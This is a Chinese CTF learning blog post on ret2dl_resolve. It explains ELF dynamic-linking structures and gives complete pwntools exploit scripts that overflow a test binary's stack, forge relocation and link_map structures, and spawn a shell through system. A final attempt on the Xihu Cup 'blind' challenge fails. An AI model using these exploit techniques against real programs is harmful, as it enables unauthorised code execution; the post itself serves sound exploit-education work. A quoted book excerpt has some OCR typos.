前言
所有的所有,都要归咎于前几天的西湖杯,不好意思爆蛋了,我看那道blind,就是是一个简单的栈溢出(简单的o.0…栈溢出),但是,我做不出来啊嘤嘤嘤 /(ㄒoㄒ)/~~,这两天一定要….算了。自己几斤几两心里还是有点数的.
之前简单地记了一下,plt表和got表的关系。就是为了给讲dl_resolve做铺垫…..找书,查资料。终于有了那么一点点进展,先写下来,免得以后忘了.这一篇就直接讲链接过程。所有测试以西湖杯2021的blind为例.
参考引用并致谢
https://zhuanlan.zhihu.com/p/37572651
https://www.freebuf.com/articles/system/170661.html
https://blog.csdn.net/qq_38204481/article/details/90074190
https://bbs.pediy.com/thread-227034.htm
https://www.cnblogs.com/L0g4n-blog/p/12977300.html
https://www.freesion.com/article/95641430219/
https://blog.csdn.net/qq_51868336/article/details/114644569
这几篇文章按顺序看也能差不多
铺垫
我觉得有必要先把ELF的一些东西交待清楚,不然就算理解了大概的原理,最后还是会写不出来
.dynamic”段
1 2 3 4 5 6 7 8
| 类似于“.interp ”这样的段,ELF中还有几个段也是专门用于动态链接的,比如“.dynamic"段 和“.dynsym"段等。要了解动态链接器如何完成链接过程,跟前面一样,从了解 ELF文件中跟动态链 接相关的结构入手将会是一个很好的途径。ELF文件中跟动态链接相关的段有好几个,相互之间的关系 也比较复杂,我们先从“.dynamic>”入手。 动态链接ELF中最重要的结构应该是“.dynamic”段,这个段里面保存了动态链接器所万安星本信悬, 比如依赖于哪些共享对象、动态链接符号表的位置、动态链接重定位表的位置、共享对象初始化代码的 地址等。“.dynamic”段的结构很经典,就是我们已经碰到过的ELF中眼熟的结构数组,结构定义在“elf.h”中:
|
1 2 3 4 5 6 7
| typedef struct { E1f32_Sword d_tag; union { Elf32_Word d_val; Elf32_Word d_ptr; } d_un; } Elf32_Dyn;
|
Elf32Dyn结构由一个类型值加上一个附加的数值或指针,对于不同的类型,后面附加的数值或者指针有着不同的含义。我们这里列举几个比较常见的类型值(这些值都是定义在“elf.h”里面的宏),如下图所示
上图中只列出了一部分定义,还有一些不太常用的定义我们就暂且忽略,具体可以参考LSB 手册和 elf.h的定义。从上面给出的这些定义来看,.dynamic”段里面保存的信息有点像ELF 文件头,只是我们前面看到的ELF文件头中保存的是静态链接时相关的内容,比如静态链接时用到的符号表、重定位表等,这里换成了动态链接下所使用的相应信息了。所以,“.dynamic”段可以看成是动态链接下ELF文件的“文件头”。使用readelf工具可以查看“.dynamic”段的内容:
1
| readelf -d ELF #-d 代表dyn
|
以上内容摘自《程序员的自我修养》的7.5.2
再IDA中的确可以看到,Dynamic段,是Elf32_Dyn的结构体数组,且其中的值也顺带标注了出来
在ret2dl_resolve中我们只需要注意DT_STRTAB 和DT_SYMTAB和DT_JMPREL这三个结构体。
其中分别储存着程序的.dynstr段指针 .dynsym段指针 还有.rel.plt段的指针(里面储存有相应的plt表项的指针)
.dynstr
.dynsym
这里面还有一种结构体
1 2 3 4 5 6 7 8 9 10 11
| typedef struct { Elf64_Word st_name; unsigned char st_info; unsigned char st_other; Elf64_Section st_shndx; Elf64_Addr st_value; Elf64_Xword st_size; } Elf64_Sym;
|
.rel.plt
整个链接过程可以打带描述成,链接器在可执行文件中根据需要重定位的函数吗,找到相应的字符串,然后到libc中去匹配,找到对应函数在libc中的地址,然后写如GOT表
比如blind里使用了read函数,那么链接器就拿着’read‘到libc中去匹配,匹配到了就把相应函数在libc中的地址写入blind的GOT表的相应位置
具体一点就是
- 用
link_map
访问.dynamic
,取出.dynstr
, .dynsym
, .rel.plt
的指针
.rel.plt + 第二个参数
求出当前函数的重定位表项Elf64_Rel
的指针,记作rel
rel->r_info >> 16作为
.dynsym的下标,求出当前函数的符号表项
Elf64_Sym的指针,记作
sym`
.dynstr + sym->st_name
得出符号名字符串指针
- 在动态链接库查找这个函数的地址,并且把地址赋值给
*rel->r_offset
,即GOT表
- 调用这个函数
这里的link_map是一个结构体。至于这个结构是干什么的,我们不关心,但是有一点要知道,它包含了.dynamic
的指针,通过这个link_map
,_dl_runtime_resolve
函数可以访问到.dynamic
这个section
以read函数为例
具体的话先在IDA中,演示一下吧
2 .rel.plt + 第二个参数
求出当前函数的重定位表项Elf64_Rel
的指针,记作rel
第二个参数,我们跳转
进来后是结构体,左边是指针,右边是一个r_info数字(会观察到,最左边的好像是渐进的序号,最右边都是7,中间都是0)
3 rel->r_info >> 16作为.dynsym
的下标,求出当前函数的符号表项Elf64_Sym
的指针,记作sym
200000007>>16 == 2
我们又找到.dynsym
可以看到第一个参数(也就是read函数名字字符串相对.dynstr的偏移)是offset aAlarm - offset byte_4003B8
这个aAlarm是什么鬼?,不急
4 .dynstr + sym->st_name
得出符号名字符串指针
我们找到.dynstr
可以看到
aRead - 0x4003B8
就是read函数在.dynstr上的偏移.就此链接器获取到函数名的字符串
1 2 3 4 5 6 7 8 9
| pwndbg> x/16gx 0x00000000004003B9 0x4003b9: 0x2e6f732e6362696c 0x006e696474730036 0x4003c9: 0x6474730064616572 0x656474730074756f 0x4003d9: 0x6d72616c61007272 0x73007065656c7300 0x4003e9: 0x5f00667562767465 0x74735f6362696c5f 0x4003f9: 0x6e69616d5f747261 0x5f6e6f6d675f5f00 0x400409: 0x005f5f7472617473 0x2e325f4342494c47 0x400419: 0x0200000000352e32 0x0200000002000200 0x400429: 0x0200020002000200 0x0100000000000000
|
查看字符串
1 2 3
| pwndbg> x/s 0x00000000004003B9 0x4003b9: "libc.so.6"
|
我们的read函数
1 2 3
| pwndbg> x/s 0x0000004003C9 0x4003c9: "read"
|
接下来的工作就是链接器拿着”read“去和libc进行匹配,将找到的read函数地址,写入到GOT中,这个过程我们就不做讨论了,没必要了。对于ret2dl_resolve我们要做的就是把”read“换成”system”。让链接器以为它拿的是”read“实际上”system“。
具体就是,通过一个任意写漏洞,可以在一些可写区域(比如bss)上,布置一些虚假的结构体。在第二步或者第四步实现欺骗。
- 用
link_map
访问.dynamic
,取出.dynstr
, .dynsym
, .rel.plt
的指针
.rel.plt + 第二个参数
求出当前函数的重定位表项Elf64_Rel
的指针,记作rel
作sym
rel->r_info >> 16作为
.dynsym的下标,求出当前函数的符号表项
Elf64_Sym的指针,记作
sym`
.dynstr + sym->st_name
得出符号名字符串指针
Partial RELRO
时可用
第二步中,第二参数是一个偏移,但是没有对偏移进行限制,它可以是一个很大的数,以至于可以跨段,让程序把我们伪造的Elf64_Rel
结构体的当作rel
或者直接改写.dynmic段中的内容.将.dynstr段的指针改到成我们伪造的区域,但这个利用方式会比较苛刻。一方面需要.dynmic可写,另一方面还要要求在任意写漏洞后面还有未调用函数以供利用。
好,实践一下,我们依次试试No RELRO Partial RELRO 32位 和 64位,我的环境是ubuntu16.04,实际结果可能会有一点不一样,微调一下即可
1 2 3 4 5 6 7 8 9 10 11 12
| #ret2dl.c #include <unistd.h> #include <string.h> void fun(){ char buffer[0x20]; read(0,buffer,0x200); } int main(){ fun(); return 0; }
|
首先看No RELRO保护下
32位编译指令
gcc ret2dl.c -z norelro -no-pie -fno-stack-protector -m32 -o ret2dl32
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
|
from pwn import * context(log_level ='debug', arch = 'amd64',os ='linux') sh = process('./ret2dl32') elf = ELF('./ret2dl32') read_plt = elf.plt['read'] def debug(): raw_input() gdb.attach(sh)
read_plt_load = 0x080482C6
leave_ret = 0x08048358 pop_ebp = 0x0804848b
target_addr = 0x0804961C + 4
bss = 0x080496E4 fake_adr = bss + 0x800 fake_dynstr = '\x00libc.so.6\x00_IO_stdin_used\x00system\x00'
payload = 'a'*0x2C + p32(pop_ebp) + p32(fake_adr) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(fake_adr) + p32(0x100)
sh.sendline(payload)
rop = 'AAAA' + p32(read_plt) + p32(read_plt_load) + p32(0) + p32(target_addr) + p32(0x100)
payload2 = rop.ljust(0x50,'\x00') + fake_dynstr sh.sendline(payload2)
sh.sendline(p32(fake_adr+0x50) + ';sh') sh.interactive()
|
这种情况属于是,比较简单的,不过多进行叙述
64位编译指令
gcc ret2dl.c -z norelro -no-pie -fno-stack-protector -o ret2dl64
这里和32位的,没什么区别
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
|
from pwn import * context(log_level ='debug', arch = 'amd64',os ='linux')
sh = process('./ret2dl64') elf = ELF('./ret2dl64') read_plt = elf.plt['read'] fun_addr = elf.sym['fun']
def debug(): raw_input() gdb.attach(sh) target_addr = 0x0000000000600790 + 8
plt0_load = 0x0000000004003C6
pop_rdi = 0x0000000000400583
pop_rsi = 0x0000000000400581
fake_dynstr = '\x00libc.so.6\x00system\x00' bss = 0x000000000600920
rop = p64(pop_rdi) + p64(bss) + p64(plt0_load) payload = 'a'*0x28 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(0) + p64(read_plt) payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(target_addr) + p64(0) + p64(read_plt) payload += rop sh.sendline(payload)
payload2 = '/bin/sh'.ljust(0x10,'\x00') + fake_dynstr sleep(1) sh.sendline(payload2) sleep(1)
sh.sendline(p64(bss + 0x10)) sh.interactive()
|
我们看Partial RELRO保护下的
32位的编译指令
gcc ret2dl.c -z lazy -no-pie -fno-stack-protector -m32 -o ret2dl32p
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
|
from pwn import * context(log_level ='debug', arch = 'amd64',os ='linux')
sh = process('./ret2dl32p') elf = ELF('./ret2dl32p') def debug(): raw_input() gdb.attach(sh) read_got = elf.got['read'] read_plt = elf.plt['read'] leave_ret = 0x08048378 pop_ebp = 0x080482c9
dynstr_addr = 0x0804821C
dynsym_addr = 0x080481CC
rel_addr = 0x08048298
plt0 = 0x080482D0
bss = 0x0804a01c
system_str = bss + 0x900
binsh_str = system_str + len('system') + 1
fake_dynsym_addr = bss + 0x910
fake_dynsym = p32(system_str - dynstr_addr)+p32(0)+p32(0)+p8(0x12)+p8(0)+p16(0)
fake_rel_addr = fake_dynsym_addr + len(fake_dynsym)
fake_rel = p32(read_got) + p32((((fake_dynsym_addr - dynsym_addr) / 16) << 8) + 0x7)
payload1 = 'a'*(0x28) + p32(bss + 0x800) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss + 0x800) + p32(0x1000)
sh.sendline(payload1)
print "arg===>"+hex(fake_rel_addr - rel_addr) debug()
rop = '\x00'*0x4 + p32(plt0) + p32(fake_rel_addr - rel_addr) rop += p32(0x0804840B) + p32(binsh_str) payload2 = rop.ljust(0x900-0x800,'\x00') + ('system\x00/bin/sh\x00'.ljust(0x10,'\x00')) payload2 += fake_dynsym + fake_rel sh.sendline(payload2)
sh.interactive()
|
这里说一下,
1 2
| rop = '\x00'*0x4 + p32(plt0) + p32(fake_rel_addr - rel_addr)#直接跳转到read rop += p32(0x0804840B) + p32(binsh_str)
|
这个p32(plt0)
后面为什么直接接,p32(fake_rel_addr - rel_addr)
因为ret2dl_resolve函数需要两个参数,正常情况下是下面这种
但是,我们在伪造的时候,是从这里开始的
我们少压入了一个参数,这个参数就是,到rel的偏移,所以我们自己把把我们伪造的参数写入栈中
所以,p32(plt0)后面我们写入p32(fake_rel_addr - rel_addr),省去了push操作
64位编译指令
gcc ret2dl.c -z lazy -no-pie -fno-stack-protector -o ret2dl64p
这种情况,就不能像32位那样直接用大偏移将rel指向我们伪造的部分,
因为,在64位中bss段在0x600000上,而text段在0x400000段上,中间有那么一段(比如说0x500000)是没有映射的,会报错,然后失败。
1 2 3 4 5 6
| pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x401000 r-xp 1000 0 /home/blacktea/Q/ret2dl64p 0x600000 0x601000 r--p 1000 0 /home/blacktea/Q/ret2dl64p 0x601000 0x602000 rw-p 1000 1000 /home/blacktea/Q/ret2dl64p
|
那么就是另一种利用方法了,伪造link_map
en…………………………说是实话,在我写这些的时候,我都还是不是很理解,这其中的原理,额算理解原理,但是还不是很清楚到底怎么伪造的。看下次,什么时候有时间,补充一下吧
直接看EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| from pwn import * context(log_level ='debug', arch = 'amd64',os ='linux') def debug(): raw_input() gdb.attach(sh) sh = process('./ret2dl64p') elf = ELF('./ret2dl64p') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') read_plt = elf.plt['read'] read_got = elf.got['read'] fun_addr = elf.sym['fun']
bss = 0x0000000000601038 l_addr = libc.sym['system'] - libc.sym['read']
r_offset = bss + l_addr * -1
if l_addr < 0: l_addr = l_addr + 0x10000000000000000 pop_rdi = 0x00000000004005c3
pop_rsi = 0x00000000004005c1
plt_load = 0x0004003F0+6
payload = 'a'*0x28 + p64(pop_rsi) + p64(bss + 0x100) + p64(0) + p64(pop_rdi) + p64(0) + p64(read_plt) + p64(fun_addr)
sleep(1) sh.sendline(payload)
dynstr = 0x000400318
fake_link_map_addr = bss + 0x100
fake_dyn_strtab_addr = fake_link_map_addr + 0x8 fake_dyn_strtab = p64(0) + p64(dynstr)
fake_dyn_symtab_addr = fake_link_map_addr + 0x18 fake_dyn_symtab = p64(0) + p64(read_got - 0x8)
fake_dyn_rel_addr = fake_link_map_addr + 0x28 fake_dyn_rel = p64(0) + p64(fake_link_map_addr + 0x38)
fake_rel = p64(r_offset) + p64(0x7) + p64(0)
fake_link_map = p64(l_addr)
fake_link_map += fake_dyn_strtab fake_link_map += fake_dyn_symtab fake_link_map += fake_dyn_rel fake_link_map += fake_rel fake_link_map = fake_link_map.ljust(0x68,'\x00')
fake_link_map += p64(fake_dyn_strtab_addr)
fake_link_map += p64(fake_dyn_symtab_addr)
fake_link_map += '/bin/sh'.ljust(0x80,'\x00')
fake_link_map += p64(fake_dyn_rel_addr) sleep(1) sh.sendline(fake_link_map) sleep(1)
rop = 'A'*0x28 + p64(pop_rdi) + p64(fake_link_map_addr + 0x78) + p64(plt_load) + p64(fake_link_map_addr) + p64(0) sh.sendline(rop) sh.interactive()
|
好,终于到了我们最终的目的了,解题。不要忘了还有一道blind
我们用这个EXP改改,试试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| from pwn import * context(log_level ='debug', arch = 'amd64',os ='linux') def debug(): raw_input() gdb.attach(sh) sh = process('./blind') elf = ELF('./blind') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
read_plt = 0x040074C
read_got = elf.got['read']
fun_addr = 0x000400736
bss = 0x000000601060 l_addr = libc.sym['system'] - libc.sym['read']
r_offset = bss + l_addr * -1
if l_addr < 0: l_addr = l_addr + 0x10000000000000000 pop_rdi = 0x00000000004007c3
pop_rsi = 0x00000000004007c1
plt_load = 0x000400556+6
payload = 'a'*(0x50+8) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss + 0x100) + p64(0)+ p64(read_plt) + p64(fun_addr)
sleep(1) sh.sendline(payload)
dynstr = 0x0004003B8
fake_link_map_addr = bss + 0x100
fake_dyn_strtab_addr = fake_link_map_addr + 0x8 fake_dyn_strtab = p64(0) + p64(dynstr)
fake_dyn_symtab_addr = fake_link_map_addr + 0x18 fake_dyn_symtab = p64(0) + p64(read_got - 0x8)
fake_dyn_rel_addr = fake_link_map_addr + 0x28 fake_dyn_rel = p64(0) + p64(fake_link_map_addr + 0x38)
fake_rel = p64(r_offset) + p64(0x7) + p64(0)
fake_link_map = p64(l_addr)
fake_link_map += fake_dyn_strtab fake_link_map += fake_dyn_symtab fake_link_map += fake_dyn_rel fake_link_map += fake_rel fake_link_map = fake_link_map.ljust(0x68,'\x00')
fake_link_map += p64(fake_dyn_strtab_addr)
fake_link_map += p64(fake_dyn_symtab_addr)
fake_link_map += '/bin/sh'.ljust(0x80,'\x00')
fake_link_map += p64(fake_dyn_rel_addr) sleep(1) debug() sleep(1) sh.sendline(fake_link_map)
rop = 'A'*(0x50+8)+ p64(pop_rdi) + p64(fake_link_map_addr + 0x78) + p64(plt_load) + p64(fake_link_map_addr) + p64(0) sh.sendline(rop) sh.interactive()
|
发现,打不了,程序流程卡住了,然后发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x182 RBX 0x0 RCX 0x7ff5b3858360 (__read_nocancel+7) ◂— cmp rax, -0xfff RDX 0x500 RDI 0x0 RSI 0x601160 ◂— 0xfffffffffff4e050 R8 0x7ff5b3b27770 (_IO_stdfile_2_lock) ◂— 0x0 R9 0x0 R10 0x37b R11 0x346 R12 0x4005c0 ◂— xor ebp, ebp R13 0x7ffcb1ef2bb0 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x6161616161616161 ('aaaaaaaa') RSP 0x7ffcb1ef2b08 —▸ 0x400736 ◂— lea rax, [rbp - 0x50] RIP 0x400752 ◂— leave ───────────────────────────────────[ DISASM ]─────────────────────────────────── 0x400751 nop ► 0x400752 leave 0x400753 ret 0x400754 nop word ptr cs:[rax + rax] 0x40075e nop 0x400760 push r15 0x400762 push r14 0x400764 mov r15d, edi 0x400767 push r13 0x400769 push r12 0x40076b lea r12, [rip + 0x20069e]
|
对,这个leave,当时我天正地以为,只是因为RBP的值不合法,所以不行,后来去改才发现,没法改,因为,你不知道,将之后的函数流程引到哪儿,栈上(要是知道栈地址,还需要这么苦哈哈?!),后来想,要不在,之前的payload那儿改一下,手动配置一下函数流程,试了几次失败了,也不知道,是不是我太菜了。然后🐂bi的来了,我去网上搜索了一下,其他人的wp,都是用ret2csu做的,然后,我心态就崩了,
算了,去学ret2csu了,等缓过来,在看这个吧。累了,周五了,可以开摆了…
ret2dl应该是可以的. 难点就是,为具体的题型,构造不同的link_map